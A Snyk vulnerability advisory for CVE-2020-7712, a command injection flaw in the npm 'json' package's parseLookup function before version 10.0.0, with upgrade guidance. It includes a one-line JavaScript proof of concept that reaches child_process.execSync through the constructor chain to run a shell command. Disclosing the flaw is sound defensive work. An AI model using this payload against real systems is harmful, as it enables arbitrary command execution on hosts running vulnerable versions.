Command Injection Affecting json package, versions <10.0.0
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
1.54% (88th
percentile)
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Test your applications- Snyk ID SNYK-JS-JSON-597481
- published 30 Aug 2020
- disclosed 6 Aug 2020
- credit po6ix
Introduced: 6 Aug 2020
CVE-2020-7712 Open this link in a new tabHow to fix?
Upgrade json to version 10.0.0 or higher.
Overview
json is a 'json' command tool for massaging and processing JSON on the command line.
Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbritary commands using the parseLookup function.
PoC
const json = require('json');
res = json.parseLookup('{[this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString()]}');
console.log(res);
References
CVSS Scores
version 3.1